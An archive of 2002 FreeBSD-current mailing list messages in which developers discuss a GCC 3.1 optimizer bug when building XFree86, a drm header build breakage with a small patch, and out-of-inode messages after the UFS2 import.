X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.2 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Martin Blapp <mb@imp.ch>
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: GCC3.1 internal compiler error when compiling XFree86-4-libraries
References: <20020621154758.F550-100000@levais.imp.ch>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Martin Blapp wrote:
> 
> Hi,
> 
> I still wonder why we make workarounds like this if one could just
> use /usr/local/bin/gcc31 to have it fixed.

is it enough to setenv GCC=/usr/local/bin/gcc31, then make install ?

	TfH

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22  1:13:16 2002
Delivered-To: freebsd-current@freebsd.org
Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169])
	by hub.freebsd.org (Postfix) with ESMTP id C681F37B40B
	for <freebsd-current@FreeBSD.ORG>; Sat, 22 Jun 2002 01:11:55 -0700 (PDT)
Received: from dragon.nuxi.com (obrien@localhost [127.0.0.1])
	by dragon.nuxi.com (8.12.3/8.12.2) with ESMTP id g5M8BtP8017776;
	Sat, 22 Jun 2002 01:11:55 -0700 (PDT)
	(envelope-from obrien@dragon.nuxi.com)
Received: (from obrien@localhost)
	by dragon.nuxi.com (8.12.4/8.12.3/Submit) id g5M8BrH7017773;
	Sat, 22 Jun 2002 01:11:53 -0700 (PDT)
Date: Sat, 22 Jun 2002 01:11:53 -0700
From: "David O'Brien" <obrien@FreeBSD.ORG>
To: Thierry Herbelot <thierry@herbelot.com>
Cc: Martin Blapp <mb@imp.ch>, freebsd-current@FreeBSD.ORG
Subject: Re: GCC3.1 internal compiler error when compiling XFree86-4-libraries
Message-ID: <20020622011153.A17652@dragon.nuxi.com>
Reply-To: obrien@FreeBSD.ORG
References: <20020621154758.F550-100000@levais.imp.ch> <3D135969.6A29BFBB@herbelot.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3D135969.6A29BFBB@herbelot.com>; from thierry@herbelot.com on Fri, Jun 21, 2002 at 06:50:49PM +0200
X-Operating-System: FreeBSD 5.0-CURRENT
Organization: The NUXI BSD group
X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3  90 76 5D 69 58 D9 98 7A
X-Pgp-Rsa-Keyid: 1024/34F9F9D5
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Fri, Jun 21, 2002 at 06:50:49PM +0200, Thierry Herbelot wrote:
> > I still wonder why we make workarounds like this if one could just
> > use /usr/local/bin/gcc31 to have it fixed.
> 
> is it enough to setenv GCC=/usr/local/bin/gcc31, then make install ?

No.
make CC=gcc31 CXX=g++31 clean install

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22  3: 7:25 2002
Delivered-To: freebsd-current@freebsd.org
Received: from imf21bis.bellsouth.net (unknown [205.152.58.181])
	by hub.freebsd.org (Postfix) with ESMTP
	id A44DD37B40F; Sat, 22 Jun 2002 03:06:09 -0700 (PDT)
Received: from mac ([66.20.176.95]) by imf03bis.bellsouth.net
          (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP
          id <20020616184951.GITW29727.imf03bis.bellsouth.net@mac>;
          Sun, 16 Jun 2002 14:49:51 -0400
Date: Sun, 16 Jun 2002 14:48:23 -0400
Subject: Re: i386 tinderbox failure
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v482)
Cc: anholt@freebsd.org, current@FreeBSD.ORG,
	Bruce Evans <bde@zeta.org.au>
To: Dag-Erling Smorgrav <des@ofug.org>
From: W Gerald Hicks <gehixz@bellsouth.net>
In-Reply-To: <xzpvg8j345g.fsf@flood.ping.uio.no>
Message-Id: <A2630772-8159-11D6-A93E-0030657B5F1E@bellsouth.net>
Content-Transfer-Encoding: 7bit
X-Mailer: Apple Mail (2.482)
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


On Sunday, June 16, 2002, at 06:32 AM, Dag-Erling Smorgrav wrote:

> Bruce Evans <bde@zeta.org.au> writes:
>> This is caused by an old bogus include path in Makefiles (still needed
>> :-(), a bogus #include in drm and new newspace pollution in
>> <sys/select.h>.  drm includes <sys/select.h>, although this header is
>> essentially user-only.  <sys/select.h> now includes <signal.h>.
>> <signal.h> declares psignal(3) which is quite different from 
>> psignal(9).
>> ISTR that all includes of <sys/select.h> in the kernel were changed to
>> includes of <sys/selinfo.h>.  There seems to have been a lot of bitrot
>> since then.
>
> Eric, can you fix this?
>
> DES
> --
> Dag-Erling Smorgrav - des@ofug.org
>
>

In the meantime, the removal of <sys/select.h> gets us building again 
here.

I'm not actually using the module so can't speak about its functionality.

Cheers,

Jerry Hicks
gehixz@bellsouth.net

Index: src/sys/dev/drm/drm_os_freebsd.h
===================================================================
RCS file: /home/ncvs/src/sys/dev/drm/drm_os_freebsd.h,v
retrieving revision 1.5
diff -u -r1.5 drm_os_freebsd.h
--- src/sys/dev/drm/drm_os_freebsd.h    31 May 2002 23:19:50 -0000      
1.5
+++ src/sys/dev/drm/drm_os_freebsd.h    15 Aug 2002 02:11:39 -0000
@@ -17,7 +17,9 @@
  #include <sys/uio.h>
  #include <sys/filio.h>
  #include <sys/sysctl.h>
+#if 0
  #include <sys/select.h>
+#endif
  #include <vm/vm.h>
  #include <vm/pmap.h>
  #include <machine/pmap.h>


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22  3:23:18 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16])
	by hub.freebsd.org (Postfix) with ESMTP
	id 221B937B401; Sat, 22 Jun 2002 03:23:12 -0700 (PDT)
Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102])
	by mailman.zeta.org.au (8.9.3/8.8.7) with ESMTP id UAA00573;
	Sat, 22 Jun 2002 20:23:09 +1000
Date: Sat, 22 Jun 2002 20:28:08 +1000 (EST)
From: Bruce Evans <bde@zeta.org.au>
X-X-Sender: bde@gamplex.bde.org
To: "David O'Brien" <obrien@FreeBSD.ORG>
Cc: ir@hotbox.ru, <freebsd-current@FreeBSD.ORG>
Subject: Re: error in ncurses in 'make buildworld'
In-Reply-To: <20020621134301.F68827@dragon.nuxi.com>
Message-ID: <20020622202641.C7645-100000@gamplex.bde.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Fri, 21 Jun 2002, David O'Brien wrote:

> On Fri, Jun 21, 2002 at 11:11:39AM +0400, Igor Roboul wrote:
> > igorr@sysadm~> gcc -Wall qq.c
> > qq.c: In function `main':
> > qq.c:16: warning: float format, double arg (arg 3) <--- I have expected this
> > igorr@sysadm~> ./a.out 123
> > 123.000000
> > 0.124861
> > 0.0<4861	<--- Pay attention
> > 123
>
> I don't get the same results with a system built today.
>
> $ cc -v
> ..snip..
> gcc version 3.1 [FreeBSD] 20020509 (prerelease)
> $ cc -Wall qq.c

The program and strtod.c (not dtoa.c like I said in previous mail) must be
compiled with gcc -O2 to cause problems.

Bruce


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22  3:25:21 2002
Delivered-To: freebsd-current@freebsd.org
Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.86.163])
	by hub.freebsd.org (Postfix) with ESMTP id 00DBB37B401
	for <current@freebsd.org>; Sat, 22 Jun 2002 03:25:14 -0700 (PDT)
Received: from critter.freebsd.dk (localhost [127.0.0.1])
	by critter.freebsd.dk (8.12.3/8.12.2) with ESMTP id g5MANKCn031009
	for <current@freebsd.org>; Sat, 22 Jun 2002 12:23:21 +0200 (CEST)
	(envelope-from phk@critter.freebsd.dk)
To: current@freebsd.org
Subject: world is bõrken...
From: Poul-Henning Kamp <phk@freebsd.org>
Date: Sat, 22 Jun 2002 12:23:20 +0200
Message-ID: <31008.1024741400@critter.freebsd.dk>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


===> gnu/usr.bin/binutils/doc
echo "@set VERSION "2.12.0 [FreeBSD] 2002-04-10"" > gasver.texi
makeinfo --no-validate -I /bang/src/gnu/usr.bin/binutils/doc/../../../../contrib
/binutils/gas/doc -I /bang/src/gnu/usr.bin/binutils/doc/../../../../contrib/binu
tils/ld -I /bang/src/gnu/usr.bin/binutils/doc/../../../../contrib/binutils/bfd/d
oc -I /bang/src/gnu/usr.bin/binutils/doc/../../../../contrib/binutils/binutils -
I /bang/src/gnu/usr.bin/binutils/doc/../../../../contrib/gdb.291/gdb/doc -I /ban
g/src/gnu/usr.bin/binutils/doc/../../../../contrib/libreadline/doc --no-split -I
 /bang/src/gnu/usr.bin/binutils/doc -I /bang/src/gnu/usr.bin/binutils/doc/../../
../../contrib/binutils /bang/src/gnu/usr.bin/binutils/doc/../../../../contrib/bi
nutils/gas/doc/as.texinfo  -o as.info
/bang/src/gnu/usr.bin/binutils/doc/../../../../contrib/binutils/gas/doc/as.texin
fo:2108: warning: Info cannot handle `:' in index entry `@code{:} (label)'.
/bang/src/gnu/usr.bin/binutils/doc/../../../../contrib/binutils/gas/doc/as.texin
fo:2109: warning: Info cannot handle `:' in index entry `label (@code{:})'.
/bang/src/gnu/usr.bin/binutils/doc/../../../../contrib/binutils/gas/doc/as.texin
fo:3927: warning: Info cannot handle `:' in index entry `listing control: new pa
ge'.
/bang/src/gnu/usr.bin/binutils/doc/../../../../contrib/binutils/gas/doc/as.texin
fo:4814: warning: Info cannot handle `:' in index entry `listing control: paper 
size'.
/bang/src/gnu/usr.bin/binutils/doc/../../../../contrib/binutils/gas/doc/as.texin
fo:4903: warning: Info cannot handle `:' in index entry `listing control: subtit
le'.
/bang/src/gnu/usr.bin/binutils/doc/../../../../contrib/binutils/gas/doc/as.texin
fo:5391: warning: Info cannot handle `:' in index entry `listing control: title 
line'.
gzip -cn as.info > as.info.gz
echo "@set VERSION "2.12.0 [FreeBSD] 2002-04-10"" > ldver.texi
makeinfo --no-validate -I /bang/src/gnu/usr.bin/binutils/doc/../../../../contrib
/binutils/gas/doc -I /bang/src/gnu/usr.bin/binutils/doc/../../../../contrib/binu
tils/ld -I /bang/src/gnu/usr.bin/binutils/doc/../../../../contrib/binutils/bfd/d
oc -I /bang/src/gnu/usr.bin/binutils/doc/../../../../contrib/binutils/binutils -
I /bang/src/gnu/usr.bin/binutils/doc/../../../../contrib/gdb.291/gdb/doc -I /ban
g/src/gnu/usr.bin/binutils/doc/../../../../contrib/libreadline/doc --no-split -I
 /bang/src/gnu/usr.bin/binutils/doc -I /bang/src/gnu/usr.bin/binutils/doc/../../
../../contrib/binutils /bang/src/gnu/usr.bin/binutils/doc/../../../../contrib/bi
nutils/ld/ld.texinfo  -o ld.info
/bang/src/gnu/usr.bin/binutils/doc/../../../../contrib/binutils/ld/ld.texinfo:32
02: warning: Info cannot handle `:' in index entry `:@var{phdr}'.
gzip -cn ld.info > ld.info.gz
make: don't know how to make annotate.info. Stop
*** Error code 2

Stop in /bang/src/gnu/usr.bin/binutils.
*** Error code 1

Stop in /bang/src/gnu/usr.bin.
*** Error code 1

-- 
Poul-Henning Kamp       | UNIX since Zilog Zeus 3.20
phk@FreeBSD.ORG         | TCP/IP since RFC 956
FreeBSD committer       | BSD since 4.3-tahoe
Never attribute to malice what can adequately be explained by incompetence.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22  4:48: 3 2002
Delivered-To: freebsd-current@freebsd.org
Received: from hfep02.dion.ne.jp (hfep02.dion.ne.jp [203.181.105.68])
	by hub.freebsd.org (Postfix) with ESMTP id 6AC8D37B403
	for <freebsd-current@freebsd.org>; Sat, 22 Jun 2002 04:48:00 -0700 (PDT)
Received: from localhost ([211.5.17.161]) by hfep02.dion.ne.jp with ESMTP
          id <20020622114758935.FWGS@hfep02.dion.ne.jp>
          for <freebsd-current@freebsd.org>;
          Sat, 22 Jun 2002 20:47:58 +0900
To: freebsd-current@freebsd.org
Subject: UFS2 related message?
X-Mailer: Mew version 1.94.1 on Emacs 20.7 / Mule 4.0 (HANANOEN)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20020622204501P.haro@h4.dion.ne.jp>
Date: Sat, 22 Jun 2002 20:45:01 +0900
From: Munehiro Matsuda <haro@h4.dion.ne.jp>
X-Dispatcher: imput version 20000228(IM140)
Lines: 33
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Hello all,

After the import of UFS2 patch into -current, I get the following messages.

pid 397 (perl), uid 123 inumber 682496 on /home: out of inodes
pid 397 (perl), uid 123 inumber 682496 on /home: out of inodes
pid 397 (perl), uid 123 inumber 682496 on /home: out of inodes

Is it related to UFS2 by anyway?

FYI, here's what got with my disks.

% df -i
Filesystem  1K-blocks    Used   Avail Capacity iused   ifree %iused  Mounted on
/dev/ad0s2a    254063   91341  142397    39%    2615   60871    4%   /
devfs               1       1       0   100%       0       0  100%   /dev
/dev/ad0s3e   7185161 4473874 2136475    68%  227116 1574354   13%   /home
/dev/ad0s2f   2787666 1668475  896178    65%  176288  522078   25%   /usr
/dev/ad0s2e    254063   10456  223282     4%    1653   61833    3%   /var
procfs              4       4       0   100%       1       0  100%   /proc
linprocfs           4       4       0   100%       1       0  100%   /usr/compat/linux/proc
/dev/ad0s1    3663652 2542176 1121476    69%       0       0  100%   /dos
%

Thanks in advance,
  Haro
=------------------------------------------------------------------------------
           _ _    Munehiro (haro) Matsuda
 -|- /_\  |_|_|   Business Incubation Dept., Kubota Corp.
 /|\ |_|  |_|_|   1-3 Nihonbashi-Muromachi 3-Chome
                  Chuo-ku Tokyo 103-8310, Japan
                  Tel: +81-3-3245-3318  Fax: +81-3-3245-3315
                  Email: haro@kubota.co.jp

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22  4:55:45 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mailout05.sul.t-online.com (mailout05.sul.t-online.com [194.25.134.82])
	by hub.freebsd.org (Postfix) with ESMTP id 4388137B400
	for <freebsd-current@freebsd.org>; Sat, 22 Jun 2002 04:55:30 -0700 (PDT)
Received: from fwd04.sul.t-online.de 
	by mailout05.sul.t-online.com with smtp 
	id 17LjUB-0007EQ-05; Sat, 22 Jun 2002 13:55:23 +0200
Received: from Gatekeeper.FreeBSD.org (520047440004-0001@[217.81.3.84]) by fmrl04.sul.t-online.com
	with esmtp id 17LjU7-1PuhRQC; Sat, 22 Jun 2002 13:55:19 +0200
Received: from StefanEsser.FreeBSD.org (StefanEsser [10.0.0.1])
	by Gatekeeper.FreeBSD.org (Postfix) with ESMTP
	id 3EF7163AF; Sat, 22 Jun 2002 13:55:19 +0200 (CEST)
Received: by StefanEsser.FreeBSD.org (Postfix, from userid 200)
	id 781A31F01; Fri, 21 Jun 2002 20:12:38 +0200 (CEST)
Date: Fri, 21 Jun 2002 20:12:38 +0200
From: Stefan Esser <se@freebsd.org>
To: Kris Kennaway <kris@obsecurity.org>
Cc: Yamada Ken Takeshi <ken@tydfam.jp>, freebsd-current@FreeBSD.ORG
Subject: [Patch] Re: GCC3.1 internal compiler error when compiling XFree86-4-libraries
Message-ID: <20020621181238.GB608@StefanEsser.FreeBSD.org>
Reply-To: Stefan Esser <se@freebsd.org>
References: <20020608.171312.730576735.ken@tydfam.jp> <20020608013938.B5755@xor.obsecurity.org> <20020608092926.GA2635@StefanEsser.FreeBSD.org> <20020616023918.C12427@xor.obsecurity.org> <20020621123351.GA68390@StefanEsser.FreeBSD.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20020621123351.GA68390@StefanEsser.FreeBSD.org>
User-Agent: Mutt/1.5.1i
X-Sender: 520047440004-0001@t-dialin.net
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On 2002-06-21 14:33 +0200, Stefan Esser <se@FreeBSD.ORG> wrote:
Following up to my own mail:

Seems that translate.c is built from other directories as
well, not just from within OSmesa. See the following patch,
which is "files/patch-GL_mesa_src_Imakefile" on my system:

--- lib/GL/mesa/src/Imakefile.orig	Wed May  2 17:06:02 2001
+++ lib/GL/mesa/src/Imakefile	Fri Jun 21 15:49:39 2002
@@ -51,6 +51,13 @@
 
 #include <Library.tmpl>
 
+#if defined(__GNUC__) && __GNUC__ >= 3
+#define ObjectCompile(options) RemoveFile($@)                           @@\
+	ClearmakeOSName \
+	$(CC) -c $(CFLAGS) options $*.c -o $@ || \
+	$(CC) -c $(CFLAGS) options -O0 $*.c -o $@
+#endif
+
 LibraryObjectRule()
 
 SubdirLibraryRule($(OBJS))


Regards, STefan

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22  4:56: 1 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mailout05.sul.t-online.com (mailout05.sul.t-online.com [194.25.134.82])
	by hub.freebsd.org (Postfix) with ESMTP id 4FD4A37B401
	for <freebsd-current@freebsd.org>; Sat, 22 Jun 2002 04:55:30 -0700 (PDT)
Received: from fwd04.sul.t-online.de 
	by mailout05.sul.t-online.com with smtp 
	id 17LjUB-0007EQ-06; Sat, 22 Jun 2002 13:55:23 +0200
Received: from Gatekeeper.FreeBSD.org (520047440004-0001@[217.81.3.84]) by fmrl04.sul.t-online.com
	with esmtp id 17LjU7-1Pw4gaC; Sat, 22 Jun 2002 13:55:19 +0200
Received: from StefanEsser.FreeBSD.org (StefanEsser [10.0.0.1])
	by Gatekeeper.FreeBSD.org (Postfix) with ESMTP
	id 67D9A63B3; Sat, 22 Jun 2002 13:55:19 +0200 (CEST)
Received: by StefanEsser.FreeBSD.org (Postfix, from userid 200)
	id 5B6BA1EFF; Fri, 21 Jun 2002 20:08:39 +0200 (CEST)
Date: Fri, 21 Jun 2002 20:08:39 +0200
From: Stefan Esser <se@freebsd.org>
To: Martin Blapp <mb@imp.ch>
Cc: Kris Kennaway <kris@obsecurity.org>,
	Yamada Ken Takeshi <ken@tydfam.jp>, freebsd-current@freebsd.org
Subject: Re: GCC3.1 internal compiler error when compiling XFree86-4-libraries
Message-ID: <20020621180839.GA608@StefanEsser.FreeBSD.org>
Reply-To: Stefan Esser <se@freebsd.org>
References: <20020621154758.F550-100000@levais.imp.ch>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20020621154758.F550-100000@levais.imp.ch>
User-Agent: Mutt/1.5.1i
X-Sender: 520047440004-0001@t-dialin.net
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On 2002-06-21 16:35 +0200, Martin Blapp <mb@imp.ch> wrote:
> I still wonder why we make workarounds like this if one could just
> use /usr/local/bin/gcc31 to have it fixed.

Sorry, but the compiler bug has been present in the port version
of GCC-3.1 as well, a few weeks ago, and existed in the version
to become GCC-3.1.1 ...

I opened a PR at gcc.org, didn't get any feedback, yet.

> Why mess around with a buggy compiler if a working one is around ?

Only a single source file triggers the optimizer bug, and the
work-around should be appropriate until the compiler is fixed,
IMHO.

> Why don't we update the pre 3.1 gcc in CURRENT to a working one ?

I'm sure that there is a lot of work being done to keep up with
the latest gcc versions. It just isn't that simple to upgrade such
a crucial build tool (if compiling a new gcc fails, then make world
doesn't have much of a chance of succeeding ...)

> Yes, I turned on -O and O2 again ;-)

Did the GCC-3.1 from ports compile translate.c with optimization
turned on ???

It didn't, just one or two weeks ago.

Regards, STefan

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22  5:42:39 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.imp.ch (mail.imp.ch [157.161.1.2])
	by hub.freebsd.org (Postfix) with ESMTP
	id D875A37B401; Sat, 22 Jun 2002 05:42:34 -0700 (PDT)
Received: from nbs.imp.ch (nbs.imp.ch [157.161.4.7])
	by mail.imp.ch (8.11.6/8.11.6) with ESMTP id g5MCgX090789;
	Sat, 22 Jun 2002 14:42:33 +0200 (CEST)
Received: from levais.imp.ch (levais.imp.ch [157.161.4.66])
	by nbs.imp.ch (8.12.3/8.12.3) with ESMTP id g5MCgR9014178515;
	Sat, 22 Jun 2002 14:42:27 +0200 (MES)
Date: Sat, 22 Jun 2002 14:44:22 +0200 (CEST)
From: Martin Blapp <mb@imp.ch>
To: Stefan Esser <se@FreeBSD.org>
Cc: Kris Kennaway <kris@obsecurity.org>,
	Yamada Ken Takeshi <ken@tydfam.jp>, <freebsd-current@FreeBSD.org>
Subject: Re: GCC3.1 internal compiler error when compiling XFree86-4-libraries
In-Reply-To: <20020621180839.GA608@StefanEsser.FreeBSD.org>
Message-ID: <20020622144309.I550-100000@levais.imp.ch>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


Hi Stefan,

 Did the GCC-3.1 from ports compile translate.c with optimization
> turned on ???
>
> It didn't, just one or two weeks ago.

GCC3.1.1 Prerelease.

Yes it did. I removed the patch andd added -O and -O2 again.

Martin


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22  5:44:21 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.imp.ch (mail.imp.ch [157.161.1.2])
	by hub.freebsd.org (Postfix) with ESMTP
	id BA26C37B401; Sat, 22 Jun 2002 05:44:17 -0700 (PDT)
Received: from nbs.imp.ch (nbs.imp.ch [157.161.4.7])
	by mail.imp.ch (8.11.6/8.11.6) with ESMTP id g5MCiG090857;
	Sat, 22 Jun 2002 14:44:16 +0200 (CEST)
Received: from levais.imp.ch (levais.imp.ch [157.161.4.66])
	by nbs.imp.ch (8.12.3/8.12.3) with ESMTP id g5MCiG9014182261;
	Sat, 22 Jun 2002 14:44:16 +0200 (MES)
Date: Sat, 22 Jun 2002 14:46:11 +0200 (CEST)
From: Martin Blapp <mb@imp.ch>
To: "David O'Brien" <obrien@FreeBSD.ORG>
Cc: Thierry Herbelot <thierry@herbelot.com>,
	<freebsd-current@FreeBSD.ORG>
Subject: Re: GCC3.1 internal compiler error when compiling XFree86-4-libraries
In-Reply-To: <20020622011153.A17652@dragon.nuxi.com>
Message-ID: <20020622144443.J550-100000@levais.imp.ch>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


Hi,

> make CC=gcc31 CXX=g++31 clean install

This currently doesn't work with the Xfree86 ports. CC
is hardcoded there.

Could the maintainer please fix this ?

I also had to fix OO to work with this.

Martin


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Jun 22  7:51:42 2002
Delivered-To: freebsd-current@freebsd.org
Received: from volatile.chemikals.org (cae88-49-048.sc.rr.com [24.88.49.48])
	by hub.freebsd.org (Postfix) with ESMTP id 56B1137B401
	for <freebsd-current@FreeBSD.ORG>; Sat, 22 Jun 2002 07:51:38 -0700 (PDT)
Received: from localhost (morganw@localhost [127.0.0.1])
	by volatile.chemikals.org (8.12.3/8.12.3) with ESMTP id g5MEpa7C081456;
	Sat, 22 Jun 2002 10:51:37 -0400 (EDT)
	(envelope-from morganw@chemikals.org)
Date: Sat, 22 Jun 2002 10:51:36 -0400 (EDT)
From: Wesley Morgan <morganw@chemikals.org>
To: Munehiro Matsuda <haro@h4.dion.ne.jp>
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: UFS2 related message?
In-Reply-To: <20020622204501P.haro@h4.dion.ne.jp>
Message-ID: <20020622104917.S81435-100000@volatile.chemikals.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

By chance, is this a new installation? A month or so ago I was adding a
drive to a -current system and I discovered that the newfs "defaults" were
setting insanely large block/fragment/inode sizes and I could not even do
a 'make world' on that partition. Had to completely reinstall and override
the defaults.

On Sat, 22 Jun 2002, Munehiro Matsuda wrote:

> Hello all,
>
> After the import of UFS2 patch into -current, I get the following messages.
>
> pid 397 (perl), uid 123 inumber 682496 on /home: out of inodes
> pid 397 (perl), uid 123 inumber 682496 on /home: out of inodes
> pid 397 (perl), uid 123 inumber 682496 on /home: out of inodes
>
> Is it related to UFS2 by anyway?
>
> FYI, here's what got with my disks.
>
> % df -i
> Filesystem  1K-blocks    Used   Avail Capacity iused   ifree %iused  Mounted on
> /dev/ad0s2a    254063   91341  142397    39%    2615   60871    4%   /
